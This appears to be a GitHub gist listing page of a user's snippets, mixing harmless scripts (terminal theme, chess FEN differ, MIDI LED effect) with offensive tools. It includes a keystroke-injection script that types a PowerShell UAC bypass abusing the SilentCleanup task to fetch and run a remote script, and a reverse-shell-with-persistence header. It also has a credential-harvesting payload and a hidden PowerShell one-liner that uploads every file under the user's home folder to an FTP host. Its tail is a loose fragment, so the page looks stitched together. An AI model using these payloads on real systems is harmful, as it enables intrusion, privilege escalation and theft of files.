Skip to content

Instantly share code, notes, and snippets.

View Klepvink's full-sized avatar
🐦

Klepvink Klepvink

🐦
View GitHub Profile
@Klepvink
Klepvink / CREDITS.txt
Last active December 2, 2025 12:05
[OSEP] Word Macro Generator
The template.vba file included is quite literally https://github.com/Octoberfest7/OSEP-Tools/blob/main/WordMacroRunner, but without the AV-sandbox detection.
@Klepvink
Klepvink / shaha.sh
Created February 14, 2025 13:45
Shaha - Interactive shell with output automatically piped to Aha (https://github.com/theZiz/aha). This script is by no means meant to be used in a production environment, and was simply written to help create professional reports during assignments and exams.
#!/bin/bash
# Print banner
echo ""
echo "[!] You are now in shaha, a shell which helps with keeping track of used commands using aha."
echo "[!] Klepvink, 2025"
echo ""
# Spawn interactive shell, pipes all output to aha
python3 -c 'import pty; pty.spawn("/bin/bash")' | tee >(aha > $(date +%F_%H-%M-%S).html)
@Klepvink
Klepvink / theme.json
Last active February 13, 2025 11:07
omp theme
{
"$schema": "https://raw.githubusercontent.com/JanDeDobbeleer/oh-my-posh/main/themes/schema.json",
"blocks": [
{
"alignment": "left",
"segments": [
{
"foreground": "#ff5555",
"properties": {
"time_format": "15:04:05"
@Klepvink
Klepvink / fendiff.py
Created October 2, 2022 17:56
FenDiff - Determine the chess move by comparing two FEN-strings
#!/bin/python3
# Title: FenDiff
# Author: Klepvink
# Version: 1.0
# Checks two different FEN-strings, and determines the move that was made using only standard python modules and functions (and returns in UCI-format)
# The original purpose of this code is to help determine the move made based on only FEN-data. The chessboard sends a continuous stream
# of current positions in the form of FEN, and this code determines what move was made using that FEN-data by comparing it to the last
@Klepvink
Klepvink / launchkey_25_MK2.py
Created February 3, 2022 18:55
Python scripts that puts a rainbow fade on the novation launchkey 25 MK2 LED-lights. Original script was written by David Madison (https://www.partsnotincluded.com/how-to-control-the-leds-on-a-novation-launchkey-mini-ii/)
#
# Launchkey Mini II Sweep Animation
# by David Madison © 2018
# www.partsnotincluded.com
#
#
# Modified to work for the Launchkey 25 MK2.
# Instead of the original sweep, it now displays
# a looping rainbow fade.
@Klepvink
Klepvink / script.txt
Created October 7, 2021 11:03
dckuino (WHID cactus) powershell privesc
Rem:Generated by Dckuino.js by NURRL
Rem:Modified for use with ESPloit by Corey Harding
Rem:-----
Press:131+114
CustomDelay:500
Print:powershell -c "$r='HKCU:\Environment';$n='windir';$v='powershell IEX (wget {LINK_TO_POWERSHELL_SCRIPT} -useBasicParsing).content;#';sp -Path $r -Name $n -Value $v;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;rp -Path $r -Name $n"
Press:176
@Klepvink
Klepvink / reverse_shell.cpp
Last active October 7, 2021 11:04
Reverse shell with persistence, written in C++. Credits: https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <iostream>
#include <stdio.h>
using namespace std;
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
@Klepvink
Klepvink / quickcreds.sh
Created September 16, 2020 22:17
[Key croc] Quickcreds croc-flavor
#!/bin/bash
#
# Title: Quickcreds - croco-flavor
# Author: Klepvink -- Cred: Hak5Darren && Mubix (based this script on https://github.com/hak5/bashbunny-payloads/blob/master/payloads/library/credentials/QuickCreds/payload.txt)
# Version: 1.0
#
# First making sure that Responder is installed (in the right location)
echo -e ""
echo -e "\e[32mQuickcreds - croco-flavor\e[0m"
echo -e "\e[32mKlepvink -- Cred: Hak5Darren && Mubix\e[0m"
powershell -w hidden -c "$w=New-Object System.Net.WebClient;$w.Credentials=New-Object System.Net.NetworkCredential('anonymous');foreach($i in(dir $HOME '*' -Recurse)){$u=New-Object System.Uri('ftp://10.8.0.1/'+$i.Name);$w.UploadFile($u,$i.FullName)}"
from tika import parser
import sys
import os
import re
from docx import Document
document = Document()
def filecheck(filepath):
return os.path.isfile(filepath)